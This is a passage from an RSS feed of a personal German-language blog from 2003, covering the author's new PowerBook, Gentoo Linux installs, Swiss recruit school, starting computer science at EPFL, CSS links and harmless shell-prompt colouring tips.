  14998.    <content:encoded><![CDATA[Ein <a href="https://blog.x-way.org/images/Mac-OS-X-Screenshot.jpg"><b>hübsches Bildchen</b></a> von meinem neuen Gerät:<br><a href="http://claws.sylpheed.org/"><b>Sylpheed</b></a> läuft auf einem anderen Rechner (nuntia) und die <a href="http://xfree86.org/"><b>X11</b></a>-Ausgabe wird via <a href="http://openssh.org/"><b>SSH</b></a> zum X11 vom Mac umgeleitet. Davor das Terminal mit der SSH-Session und das Terminal vom Mac. Dahinter noch <a href="http://www.apple.com/safari/"><b>Safari</b></a>, der <a href="https://web.archive.org/web/20040803004115/http://devel-home.kde.org/~danimo/apidocs/khtml/html/"><b>KHTML</b></a>-basierte Browser von <a href="http://www.apple.com"><b>Apple</b></a>. Zuunterst das "berühmte" Dock.<br><br>Und nun startet der Installationsversuch Nummer 2 von Linux. Diesmal mit einer seperaten /boot-Partition und vermutlich auch gerade Kernel 2.6...
  14999. ]]></content:encoded>
  15000.  </item>
  15001.  
  15002.  <item>
  15003.    <title>Wieder mal was zum Gentoo</title>
  15004.    <link>https://blog.x-way.org/Linux/2003/12/05/Wieder_mal_was_zum_Gentoo.html</link>
  15005.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323984</guid>
  15006.    <dc:creator>Andreas Jaggi</dc:creator>
  15007.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15008.    <pubDate>Fri, 05 Dec 2003 12:03:00 +0100</pubDate>
  15009.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15010.    <description><![CDATA[<img alt="Gentoo Emerge Comic" src="https://blog.x-way.org/images/ecol-136-e.png"><br><br>Weitere solche Comics bei <a href="https://web.archive.org/web/20031201020330/http://comic.escomposlinux.org/"><b>es.comp.os.linux.*</b></a>
  15011. ]]></description>
  15012.    <content:encoded><![CDATA[<img alt="Gentoo Emerge Comic" src="https://blog.x-way.org/images/ecol-136-e.png"><br><br>Weitere solche Comics bei <a href="https://web.archive.org/web/20031201020330/http://comic.escomposlinux.org/"><b>es.comp.os.linux.*</b></a>
  15013. ]]></content:encoded>
  15014.  </item>
  15015.  
  15016.  <item>
  15017.    <title>argyraspides</title>
  15018.    <link>https://blog.x-way.org/Mac/2003/11/27/argyraspides.html</link>
  15019.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323983</guid>
  15020.    <dc:creator>Andreas Jaggi</dc:creator>
  15021.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15022.    <pubDate>Thu, 27 Nov 2003 09:52:00 +0100</pubDate>
  15023.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  15024.    <description><![CDATA[Da sich nun der Adrelaninsturm ein bisschen gelegt hat, folgendes:<br>Seit gestern Mittag habe ich nun auch so einen tragbaren Computer, ein Apple PowerBook G4 15 Zoll mit Superdrive um etwas genauer zu sein.<br>Das GUI ist sehr schön, jedoch sehr oft nur eine Spielerei, die nicht wirklich nützlich ist.<br>Was mir gefällt ist, dass man mit Bluetooth fast ganz einfach die Adressdaten, Kalender etc. vom Natel zum Computer kopieren kann und umgekehrt.<br>Weitere Erfahrungsberichte werden sicher folgen :-)
  15025. ]]></description>
  15026.    <content:encoded><![CDATA[Da sich nun der Adrelaninsturm ein bisschen gelegt hat, folgendes:<br>Seit gestern Mittag habe ich nun auch so einen tragbaren Computer, ein Apple PowerBook G4 15 Zoll mit Superdrive um etwas genauer zu sein.<br>Das GUI ist sehr schön, jedoch sehr oft nur eine Spielerei, die nicht wirklich nützlich ist.<br>Was mir gefällt ist, dass man mit Bluetooth fast ganz einfach die Adressdaten, Kalender etc. vom Natel zum Computer kopieren kann und umgekehrt.<br>Weitere Erfahrungsberichte werden sicher folgen :-)
  15027. ]]></content:encoded>
  15028.  </item>
  15029.  
  15030.  <item>
  15031.    <title>Wochenende</title>
  15032.    <link>https://blog.x-way.org/Misc/2003/11/23/Wochenende.html</link>
  15033.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323982</guid>
  15034.    <dc:creator>Andreas Jaggi</dc:creator>
  15035.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15036.    <pubDate>Sun, 23 Nov 2003 12:02:00 +0100</pubDate>
  15037.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15038.    <description><![CDATA[Am Freitag war ich mit ein paar Kollegen von der <a href="http://www.epfl.ch"><b>EPFL</b></a> an der <b><a href="https://shortfilm.ch/evenements/nuit-du-court-de-lausanne/presentation">Nacht der Kurzfilme</a></b> in <a href="http://www.lausanne.ch/"><b>Lausanne</b></a>. Da liefen von 20 Uhr an ungefähr 50 Kurzfilme und um 5 Uhr am Morgen gabs für alle, die solange ausgeharrt hatten, noch Café &amp; Croissants.<br><br>Nach 2 Stunden Schlaf gings dann wieder auf, um den ganzen Tag am <a href="https://web.archive.org/web/20040115122633/http://gnugeneration.epfl.ch/installfests.html"><b>Installfest</b></a> der <a href="http://gnugeneration.epfl.ch"><b>GNU Generation</b></a> (Verein von Studenten der <a href="http://www.epfl.ch"><b>EPFL</b></a> zur Promotion von <a href="http://www.linux.org"><b>GNU/Linux</b></a> und <a href="http://www.gnu.org"><b>freier Software</b></a>) als <abbr title="Gentil Installateur = Netter Installateur">GI</abbr> mitzuhelfen; d.h. ganz vielen Leuten helfen GNU/Linux zu installieren und jenste Hardwareteile zum Funktionieren überreden.
  15039. ]]></description>
  15040.    <content:encoded><![CDATA[Am Freitag war ich mit ein paar Kollegen von der <a href="http://www.epfl.ch"><b>EPFL</b></a> an der <b><a href="https://shortfilm.ch/evenements/nuit-du-court-de-lausanne/presentation">Nacht der Kurzfilme</a></b> in <a href="http://www.lausanne.ch/"><b>Lausanne</b></a>. Da liefen von 20 Uhr an ungefähr 50 Kurzfilme und um 5 Uhr am Morgen gabs für alle, die solange ausgeharrt hatten, noch Café &amp; Croissants.<br><br>Nach 2 Stunden Schlaf gings dann wieder auf, um den ganzen Tag am <a href="https://web.archive.org/web/20040115122633/http://gnugeneration.epfl.ch/installfests.html"><b>Installfest</b></a> der <a href="http://gnugeneration.epfl.ch"><b>GNU Generation</b></a> (Verein von Studenten der <a href="http://www.epfl.ch"><b>EPFL</b></a> zur Promotion von <a href="http://www.linux.org"><b>GNU/Linux</b></a> und <a href="http://www.gnu.org"><b>freier Software</b></a>) als <abbr title="Gentil Installateur = Netter Installateur">GI</abbr> mitzuhelfen; d.h. ganz vielen Leuten helfen GNU/Linux zu installieren und jenste Hardwareteile zum Funktionieren überreden.
  15041. ]]></content:encoded>
  15042.  </item>
  15043.  
  15044.  <item>
  15045.    <title>Feines Dessert</title>
  15046.    <link>https://blog.x-way.org/Misc/2003/11/15/Feines_Dessert.html</link>
  15047.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323981</guid>
  15048.    <dc:creator>Andreas Jaggi</dc:creator>
  15049.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15050.    <pubDate>Sat, 15 Nov 2003 17:39:00 +0100</pubDate>
  15051.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15052.    <description><![CDATA[Gerade zum besten Desser erkohren:<br>Vermicelle mit Schockoladencrème und Schlagrahm<br>Einfach spitze :-)
  15053. ]]></description>
  15054.    <content:encoded><![CDATA[Gerade zum besten Desser erkohren:<br>Vermicelle mit Schockoladencrème und Schlagrahm<br>Einfach spitze :-)
  15055. ]]></content:encoded>
  15056.  </item>
  15057.  
  15058.  <item>
  15059.    <title>Shipped !!!</title>
  15060.    <link>https://blog.x-way.org/Misc/2003/11/14/Shipped_.html</link>
  15061.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323980</guid>
  15062.    <dc:creator>Andreas Jaggi</dc:creator>
  15063.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15064.    <pubDate>Fri, 14 Nov 2003 21:09:00 +0100</pubDate>
  15065.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15066.    <description><![CDATA[<img alt="Shipped" src="https://blog.x-way.org/images/shipped.png"><br><br>Endich! Am Abend des 13. Novembers durfte ich entdecken, dass mein Packet die Fabrik in Irland verlassen hat *freu*<br>Leider funktionieren die angegebenen Trackingnummern nicht :-(
  15067. ]]></description>
  15068.    <content:encoded><![CDATA[<img alt="Shipped" src="https://blog.x-way.org/images/shipped.png"><br><br>Endich! Am Abend des 13. Novembers durfte ich entdecken, dass mein Packet die Fabrik in Irland verlassen hat *freu*<br>Leider funktionieren die angegebenen Trackingnummern nicht :-(
  15069. ]]></content:encoded>
  15070.  </item>
  15071.  
  15072.  <item>
  15073.    <title>CSS Links</title>
  15074.    <link>https://blog.x-way.org/Webdesign/2003/11/08/CSS_Links.html</link>
  15075.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323979</guid>
  15076.    <dc:creator>Andreas Jaggi</dc:creator>
  15077.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15078.    <pubDate>Sat, 08 Nov 2003 17:42:00 +0100</pubDate>
  15079.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  15080.    <description><![CDATA[Bei <a href="https://kniebes.com"><b>mk</b></a> ein paar (ältere) CSS Links gefunden:<br>
  15081. <a href="http://www.thenoodleincident.com/tutorials/box_lesson/boxes.html"><b>Little Boxes</b></a><br>
  15082. <a href="https://web.archive.org/web/20031204212446/http://css.maxdesign.com.au/index.htm"><b>CSS @ Maxdesign</b></a><br>
  15083. <a href="https://web.archive.org/web/20031106032608/http://www.phoenity.com/newtedge/horizontal_nav"><b>CSS horizontal navigation list</b></a><br>
  15084. <a href="https://web.archive.org/web/20031112094032/http://www.kommkonzept.de/extras/hover.html"><b>:hover mit beliebigen Elementen</b></a><br>
  15085. <a href="http://www.meyerweb.com/eric/css/edge/menus/demo.html"><b>pure CSS menus</b></a><br>
  15086. ]]></description>
  15087.    <content:encoded><![CDATA[Bei <a href="https://kniebes.com"><b>mk</b></a> ein paar (ältere) CSS Links gefunden:<br>
  15088. <a href="http://www.thenoodleincident.com/tutorials/box_lesson/boxes.html"><b>Little Boxes</b></a><br>
  15089. <a href="https://web.archive.org/web/20031204212446/http://css.maxdesign.com.au/index.htm"><b>CSS @ Maxdesign</b></a><br>
  15090. <a href="https://web.archive.org/web/20031106032608/http://www.phoenity.com/newtedge/horizontal_nav"><b>CSS horizontal navigation list</b></a><br>
  15091. <a href="https://web.archive.org/web/20031112094032/http://www.kommkonzept.de/extras/hover.html"><b>:hover mit beliebigen Elementen</b></a><br>
  15092. <a href="http://www.meyerweb.com/eric/css/edge/menus/demo.html"><b>pure CSS menus</b></a><br>
  15093. ]]></content:encoded>
  15094.  </item>
  15095.  
  15096.  <item>
  15097.    <title>Weltweites Warten</title>
  15098.    <link>https://blog.x-way.org/Misc/2003/11/08/Weltweites_Warten.html</link>
  15099.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323978</guid>
  15100.    <dc:creator>Andreas Jaggi</dc:creator>
  15101.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15102.    <pubDate>Sat, 08 Nov 2003 02:34:00 +0100</pubDate>
  15103.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15104.    <description><![CDATA[Bestellungen über das <abbr title="World Wide Web">WWW</abbr> sind in der Regel innert ein paar Tagen da. Jedoch diese Bestellung lässt auf sich warten: Nun sind schon fast zwei Wochen vergangen und es ist immernoch das gleiche Bild:<br><br><img src="https://blog.x-way.org/images/beingassembled.png" width="477" height="132" alt="Being Assembled">
  15105. ]]></description>
  15106.    <content:encoded><![CDATA[Bestellungen über das <abbr title="World Wide Web">WWW</abbr> sind in der Regel innert ein paar Tagen da. Jedoch diese Bestellung lässt auf sich warten: Nun sind schon fast zwei Wochen vergangen und es ist immernoch das gleiche Bild:<br><br><img src="https://blog.x-way.org/images/beingassembled.png" width="477" height="132" alt="Being Assembled">
  15107. ]]></content:encoded>
  15108.  </item>
  15109.  
  15110.  <item>
  15111.    <title>Zurück im Zivilleben</title>
  15112.    <link>https://blog.x-way.org/Misc/2003/11/02/Zurueck_im_Zivilleben.html</link>
  15113.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323977</guid>
  15114.    <dc:creator>Andreas Jaggi</dc:creator>
  15115.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15116.    <pubDate>Sun, 02 Nov 2003 10:51:00 +0100</pubDate>
  15117.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15118.    <description><![CDATA[Nun ist für eine (hoffentlich) lange Zeit fertig mit <a href="https://blog.x-way.org/images/CIMG0528.JPG"><b>solchen</b></a> <a href="https://blog.x-way.org/images/CIMG0527.JPG"><b>komischen</b></a> <a href="https://blog.x-way.org/images/CIMG0179.JPG"><b>Verkleidungen</b></a>; die 15 Wochen <abbr title="Rekrutenschule = Obligatorische militärische Grundausbildung in der Schweiz">RS</abbr> sind vorbei.<br><br>Während der RS sah ich <a href="https://blog.x-way.org/images/DSC00169.JPG"><b>so</b></a> aus, nach der RS wieder <a href="https://blog.x-way.org/images/DSC00170.JPG"><b>so</b></a> (natürlich ohne das grüne Faschingskostüm) und in der letzten Woche <a href="https://blog.x-way.org/images/DSC00168.JPG"><b>so</b></a>, was jedoch meinen Vorgesetzten nicht so gefiel und daher nur einen halben Tag lang dauerte :-)<br><br>Und nun studiere ich an der <a href="http://www.epfl.ch"><b>EPFL</b></a> bis auf weiteres Informatik.
  15119. ]]></description>
  15120.    <content:encoded><![CDATA[Nun ist für eine (hoffentlich) lange Zeit fertig mit <a href="https://blog.x-way.org/images/CIMG0528.JPG"><b>solchen</b></a> <a href="https://blog.x-way.org/images/CIMG0527.JPG"><b>komischen</b></a> <a href="https://blog.x-way.org/images/CIMG0179.JPG"><b>Verkleidungen</b></a>; die 15 Wochen <abbr title="Rekrutenschule = Obligatorische militärische Grundausbildung in der Schweiz">RS</abbr> sind vorbei.<br><br>Während der RS sah ich <a href="https://blog.x-way.org/images/DSC00169.JPG"><b>so</b></a> aus, nach der RS wieder <a href="https://blog.x-way.org/images/DSC00170.JPG"><b>so</b></a> (natürlich ohne das grüne Faschingskostüm) und in der letzten Woche <a href="https://blog.x-way.org/images/DSC00168.JPG"><b>so</b></a>, was jedoch meinen Vorgesetzten nicht so gefiel und daher nur einen halben Tag lang dauerte :-)<br><br>Und nun studiere ich an der <a href="http://www.epfl.ch"><b>EPFL</b></a> bis auf weiteres Informatik.
  15121. ]]></content:encoded>
  15122.  </item>
  15123.  
  15124.  <item>
  15125.    <title>Journée d'acceuil</title>
  15126.    <link>https://blog.x-way.org/School/2003/10/18/Journee_dacceuil.html</link>
  15127.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323976</guid>
  15128.    <dc:creator>Andreas Jaggi</dc:creator>
  15129.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15130.    <pubDate>Sat, 18 Oct 2003 22:29:00 +0200</pubDate>
  15131.    <category domain="https://blog.x-way.org/School/">School</category>
  15132.    <description><![CDATA[Hier j'étais à la journée d'acceuil à l'<a href="http://www.epfl.ch"><b>EPFL</b></a>. Où je commence le 27 octobre mes études en informatique.<br>À la fin de cette journée il y avait une apéro. Est-ce que c'est toujours comme ça?
  15133. ]]></description>
  15134.    <content:encoded><![CDATA[Hier j'étais à la journée d'acceuil à l'<a href="http://www.epfl.ch"><b>EPFL</b></a>. Où je commence le 27 octobre mes études en informatique.<br>À la fin de cette journée il y avait une apéro. Est-ce que c'est toujours comme ça?
  15135. ]]></content:encoded>
  15136.  </item>
  15137.  
  15138.  <item>
  15139.    <title>www.loozer.ch</title>
  15140.    <link>https://blog.x-way.org/Misc/2003/10/12/wwwloozerch.html</link>
  15141.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323975</guid>
  15142.    <dc:creator>Andreas Jaggi</dc:creator>
  15143.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15144.    <pubDate>Sun, 12 Oct 2003 17:23:00 +0200</pubDate>
  15145.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15146.    <description><![CDATA[Erst heute entdeckt: <a href="https://web.archive.org/web/20030807125310/http://www.loozer.ch/"><b>www.loozer.ch</b></a>, die Website von nem Kameraden aus der RS. Dort findet mensch unter anderem interessante Texte zu Verschlüsselung, E-Mail-Verkehr, proprietäre Dateiformate, Datenschutz, Gnu/Linux etc.
  15147. ]]></description>
  15148.    <content:encoded><![CDATA[Erst heute entdeckt: <a href="https://web.archive.org/web/20030807125310/http://www.loozer.ch/"><b>www.loozer.ch</b></a>, die Website von nem Kameraden aus der RS. Dort findet mensch unter anderem interessante Texte zu Verschlüsselung, E-Mail-Verkehr, proprietäre Dateiformate, Datenschutz, Gnu/Linux etc.
  15149. ]]></content:encoded>
  15150.  </item>
  15151.  
  15152.  <item>
  15153.    <title> What kind of thinker are you?</title>
  15154.    <link>https://blog.x-way.org/Misc/2003/09/28/_What_kind_of_thinker_are_you.html</link>
  15155.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323974</guid>
  15156.    <dc:creator>Andreas Jaggi</dc:creator>
  15157.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15158.    <pubDate>Sun, 28 Sep 2003 19:40:00 +0200</pubDate>
  15159.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15160.    <description><![CDATA[<a href="http://www.bbc.co.uk/science/leonardo/thinker_quiz/"><b> What kind of thinker are you?</b></a><br><br>Ich bin ein 'Spatial Thinker', experimetierfreudiger Bastler halt ;-)<br><br>Gesehen bei <a href="https://kniebes.com"><b>mk</b></a>, <a href="https://web.archive.org/web/20031001185847/http://sec.digigeek.net/"><b>sec</b></a> und <a href="https://web.archive.org/web/20060715140732/http://rw.fuq-u.org/"><b>rw</b></a>
  15161. ]]></description>
  15162.    <content:encoded><![CDATA[<a href="http://www.bbc.co.uk/science/leonardo/thinker_quiz/"><b> What kind of thinker are you?</b></a><br><br>Ich bin ein 'Spatial Thinker', experimetierfreudiger Bastler halt ;-)<br><br>Gesehen bei <a href="https://kniebes.com"><b>mk</b></a>, <a href="https://web.archive.org/web/20031001185847/http://sec.digigeek.net/"><b>sec</b></a> und <a href="https://web.archive.org/web/20060715140732/http://rw.fuq-u.org/"><b>rw</b></a>
  15163. ]]></content:encoded>
  15164.  </item>
  15165.  
  15166.  <item>
  15167.    <title>Zug Frey in Action</title>
  15168.    <link>https://blog.x-way.org/Misc/2003/09/28/Zug_Frey_in_Action.html</link>
  15169.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323973</guid>
  15170.    <dc:creator>Andreas Jaggi</dc:creator>
  15171.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15172.    <pubDate>Sun, 28 Sep 2003 19:21:00 +0200</pubDate>
  15173.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15174.    <description><![CDATA[Jede Menge Militärphotos und -videos von unserem Zug gibts <a href="https://web.archive.org/web/20031005142639/http://zug-frey.bitron.ch/"><b>hier</b></a>.
  15175. ]]></description>
  15176.    <content:encoded><![CDATA[Jede Menge Militärphotos und -videos von unserem Zug gibts <a href="https://web.archive.org/web/20031005142639/http://zug-frey.bitron.ch/"><b>hier</b></a>.
  15177. ]]></content:encoded>
  15178.  </item>
  15179.  
  15180.  <item>
  15181.    <title>15 min. (Ent)spannung</title>
  15182.    <link>https://blog.x-way.org/Misc/2003/09/22/15_min_Entspannung.html</link>
  15183.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323972</guid>
  15184.    <dc:creator>Andreas Jaggi</dc:creator>
  15185.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15186.    <pubDate>Mon, 22 Sep 2003 12:16:00 +0200</pubDate>
  15187.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15188.    <description><![CDATA[<a href="https://web.archive.org/web/20030907025401/http://www.freshsensation.com/samorost.swf"><b>Flashgame im Mysth-Stil</b></a> gefunden bei <a href="http://www.symlink.ch"><b>symlink.ch</b></a>
  15189. ]]></description>
  15190.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20030907025401/http://www.freshsensation.com/samorost.swf"><b>Flashgame im Mysth-Stil</b></a> gefunden bei <a href="http://www.symlink.ch"><b>symlink.ch</b></a>
  15191. ]]></content:encoded>
  15192.  </item>
  15193.  
  15194.  <item>
  15195.    <title>Closed Air 03</title>
  15196.    <link>https://blog.x-way.org/Music/2003/09/21/Closed_Air_03.html</link>
  15197.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323971</guid>
  15198.    <dc:creator>Andreas Jaggi</dc:creator>
  15199.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15200.    <pubDate>Sun, 21 Sep 2003 23:44:00 +0200</pubDate>
  15201.    <category domain="https://blog.x-way.org/Music/">Music</category>
  15202.    <description><![CDATA[Gestern war ich mit ein paar Kameraden ausm Militär <a href="https://web.archive.org/web/20040729134938/http://www.closedair.ch/"><b>hier</b></a> und es war voll geil!
  15203. ]]></description>
  15204.    <content:encoded><![CDATA[Gestern war ich mit ein paar Kameraden ausm Militär <a href="https://web.archive.org/web/20040729134938/http://www.closedair.ch/"><b>hier</b></a> und es war voll geil!
  15205. ]]></content:encoded>
  15206.  </item>
  15207.  
  15208.  <item>
  15209.    <title>Schneewittchen auf türkisch</title>
  15210.    <link>https://blog.x-way.org/Misc/2003/09/14/Schneewittchen_auf_tuerkisch.html</link>
  15211.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323970</guid>
  15212.    <dc:creator>Andreas Jaggi</dc:creator>
  15213.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15214.    <pubDate>Sun, 14 Sep 2003 16:22:00 +0200</pubDate>
  15215.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15216.    <description><![CDATA[Damit hier wieder mal was neues steht: <a href="https://blog.x-way.org/stuff/Schneewittchen.pdf"><b>Schneewittchen auf türkisch</b></a>, geklaut bei <a href="http://vowe.de/"><b>vowe</b></a>.
  15217. ]]></description>
  15218.    <content:encoded><![CDATA[Damit hier wieder mal was neues steht: <a href="https://blog.x-way.org/stuff/Schneewittchen.pdf"><b>Schneewittchen auf türkisch</b></a>, geklaut bei <a href="http://vowe.de/"><b>vowe</b></a>.
  15219. ]]></content:encoded>
  15220.  </item>
  15221.  
  15222.  <item>
  15223.    <title>Grosser Urlaub</title>
  15224.    <link>https://blog.x-way.org/Misc/2003/08/03/Grosser_Urlaub.html</link>
  15225.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323969</guid>
  15226.    <dc:creator>Andreas Jaggi</dc:creator>
  15227.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15228.    <pubDate>Sun, 03 Aug 2003 02:46:00 +0200</pubDate>
  15229.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15230.    <description><![CDATA[So, 'grosser' Urlaub, vom 1.8. 13:30 bis 4.8. 23:45. Ich werde wohl wie schon letztes Wochenende die ganze Zeit schlafen.<br>Mein PC läuft seit dem letzten Samstag auch nur noch mit Knoppix, aber da <a href="http://www.gentoo.org"><b>Gentoo 1.4</b></a> erst am 5.8. rauskommt warte ich noch mit neuaufsetzen.<br><br>Wer Karten, Briefe oder Pakete erhalten will, soll sich melden, aber viel mehr als solche Sprüche sind nicht zu erwarten:<br><br>Wir marschieren über Felder<br>WIr marschieren über Saat<br>Wir verblöden organisiert<br>Und alles zahlt der Staat!<br><br>Ich kenn einen Ort, wo keine Sonne lacht<br>einen Ort wo man aus Menschen Maschinen macht<br>einen Ort ohne Moral und Tugend<br>die <abbr title="Rekrutenschule = Ausbildung zum Soldat">RS</abbr> das Grab deiner Jugend!
  15231. ]]></description>
  15232.    <content:encoded><![CDATA[So, 'grosser' Urlaub, vom 1.8. 13:30 bis 4.8. 23:45. Ich werde wohl wie schon letztes Wochenende die ganze Zeit schlafen.<br>Mein PC läuft seit dem letzten Samstag auch nur noch mit Knoppix, aber da <a href="http://www.gentoo.org"><b>Gentoo 1.4</b></a> erst am 5.8. rauskommt warte ich noch mit neuaufsetzen.<br><br>Wer Karten, Briefe oder Pakete erhalten will, soll sich melden, aber viel mehr als solche Sprüche sind nicht zu erwarten:<br><br>Wir marschieren über Felder<br>WIr marschieren über Saat<br>Wir verblöden organisiert<br>Und alles zahlt der Staat!<br><br>Ich kenn einen Ort, wo keine Sonne lacht<br>einen Ort wo man aus Menschen Maschinen macht<br>einen Ort ohne Moral und Tugend<br>die <abbr title="Rekrutenschule = Ausbildung zum Soldat">RS</abbr> das Grab deiner Jugend!
  15233. ]]></content:encoded>
  15234.  </item>
  15235.  
  15236.  <item>
  15237.    <title>FtS</title>
  15238.    <link>https://blog.x-way.org/Misc/2003/07/20/FtS.html</link>
  15239.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323968</guid>
  15240.    <dc:creator>Andreas Jaggi</dc:creator>
  15241.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15242.    <pubDate>Sun, 20 Jul 2003 14:55:00 +0200</pubDate>
  15243.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15244.    <description><![CDATA[Nach einer Woche im Militär ist die Motivation schon fast in den Minusbereich gefallen, die weiteren 14 Wochen werden sicher lustig :-(<br>Wer die Motivation etwas steigern will, kann mir etwas zuschicken:<br><br>Rekr Jaggi Andreas<br>Kp III Zug 4<br>Uem RS 262<br>Kaserne<br>8302 Kloten<br><br>Bis 5 kg ist das Paket gratis (vermutlich nur in CH), sofern 'Feldpost' draufsteht.
  15245. ]]></description>
  15246.    <content:encoded><![CDATA[Nach einer Woche im Militär ist die Motivation schon fast in den Minusbereich gefallen, die weiteren 14 Wochen werden sicher lustig :-(<br>Wer die Motivation etwas steigern will, kann mir etwas zuschicken:<br><br>Rekr Jaggi Andreas<br>Kp III Zug 4<br>Uem RS 262<br>Kaserne<br>8302 Kloten<br><br>Bis 5 kg ist das Paket gratis (vermutlich nur in CH), sofern 'Feldpost' draufsteht.
  15247. ]]></content:encoded>
  15248.  </item>
  15249.  
  15250.  <item>
  15251.    <title>Bunt</title>
  15252.    <link>https://blog.x-way.org/Linux/2003/07/12/Bunt.html</link>
  15253.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323967</guid>
  15254.    <dc:creator>Andreas Jaggi</dc:creator>
  15255.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15256.    <pubDate>Sat, 12 Jul 2003 13:51:00 +0200</pubDate>
  15257.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15258.    <description><![CDATA[Zurück aus den Ferien, konnte ich endlich einmal wieder vor meinen Computer sitzen *g*<br><a href="https://blog.x-way.org/images/farbig.gif"><b>Dieser Screenshot</b></a> zeigt, was dabei herausgekommen ist:<br><br>- Farbige Terminals <pre>aterm -tr -sh 75 -rv +sb -tint blue</pre>- Farbiger Prompt <pre>PS1='\[\033[1;30m\][ \[\033[01;32m\]\u\[\033[0;37m\] @ \[\033[01;32m\]\h \[\033[0;37m\]: \[\033[01;34m\]\w\[\033[1;30m\] ] \[\033[0;37m\]\$ \[\033[01;00m\]'</pre>- Farbiges ls <pre>alias ls="ls --color=auto"</pre>- Farbtabelle für die Shell: <a href="https://blog.x-way.org/stuff/colors"><b>colors</b></a><br><br>- Informative Titelleisten <pre>PROMPT_COMMAND='echo -ne "\033]2;$USER@$HOSTNAME: $PWD ($_)\007"'</pre>
  15259. ]]></description>
  15260.    <content:encoded><![CDATA[Zurück aus den Ferien, konnte ich endlich einmal wieder vor meinen Computer sitzen *g*<br><a href="https://blog.x-way.org/images/farbig.gif"><b>Dieser Screenshot</b></a> zeigt, was dabei herausgekommen ist:<br><br>- Farbige Terminals <pre>aterm -tr -sh 75 -rv +sb -tint blue</pre>- Farbiger Prompt <pre>PS1='\[\033[1;30m\][ \[\033[01;32m\]\u\[\033[0;37m\] @ \[\033[01;32m\]\h \[\033[0;37m\]: \[\033[01;34m\]\w\[\033[1;30m\] ] \[\033[0;37m\]\$ \[\033[01;00m\]'</pre>- Farbiges ls <pre>alias ls="ls --color=auto"</pre>- Farbtabelle für die Shell: <a href="https://blog.x-way.org/stuff/colors"><b>colors</b></a><br><br>- Informative Titelleisten <pre>PROMPT_COMMAND='echo -ne "\033]2;$USER@$HOSTNAME: $PWD ($_)\007"'</pre>
  15261. ]]></content:encoded>
  15262.  </item>
  15263.  
  15264.  <item>
  15265.    <title>Ferien zum 2. und '3.' (RS), Zukunft</title>
  15266.    <link>https://blog.x-way.org/Misc/2003/07/05/Ferien_zum_2_und_3_RS_Zukunft.html</link>
  15267.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323966</guid>
  15268.    <dc:creator>Andreas Jaggi</dc:creator>
  15269.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15270.    <pubDate>Sat, 05 Jul 2003 00:12:00 +0200</pubDate>
  15271.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
